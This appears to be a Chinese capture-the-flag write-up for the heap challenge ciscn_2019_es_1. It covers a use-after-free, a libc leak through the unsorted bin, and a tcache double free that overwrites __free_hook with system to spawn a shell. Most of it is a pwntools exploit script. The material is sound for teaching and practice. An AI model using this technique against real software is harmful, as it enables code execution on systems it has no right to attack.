ciscn_2019_es_1
检查防护措施

保护拉满,基本是堆题没得跑
本地调试

堆的菜单界面我们add了两个chunk,gdb看一下情况

程序多创建了2个chunk且chunk的fd指针存放的我们的创建的chunk的data地址,bk的位置看到了我们输入的电话号的内容
IDA静态分析
add():

show():

free():

这里没有清空指针,存在UAF
大致思路
创建一个0x410的chunk来释放进入unstoredbin 泄露libc,再利用doublefree 去修改free_hook
泄露libc:
1 2 3 4 5 6 7
| add(0x410,'aaaa','0') add(0x20,'bbbb','1') add(0x20,'/bin/sh','2') free(0) show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
|

再去double free改free_hook
1 2 3 4 5 6 7
| free(1) free(1)
add(0x20,p64(libc_base+libc.sym['__free_hook']),'1') add(0x20,'bbbb','1') add(0x20,p64(system),'1')
|


exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')
def add(size,name,number): p.recvuntil(":") p.sendline('1') p.recvuntil("name\n") p.sendline(str(size)) p.recvuntil(":\n") p.send(name) p.recvuntil("call:\n") p.send(number) def show(id): p.recvuntil(":") p.sendline('2') p.recvuntil("index:\n") p.sendline(str(id)) def free(id): p.recvuntil(":") p.sendline('3') p.recvuntil("index:\n") p.sendline(str(id))
add(0x410,'aaaa','0') add(0x20,'bbbb','1') add(0x20,'/bin/sh','2') free(0) show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook'] system = libc_base + libc.sym['system']
free(1) free(1)
add(0x20,p64(libc_base+libc.sym['__free_hook']),'1') add(0x20,'bbbb','1') add(0x20,p64(system),'1')
free(2)
p.interactive()
|
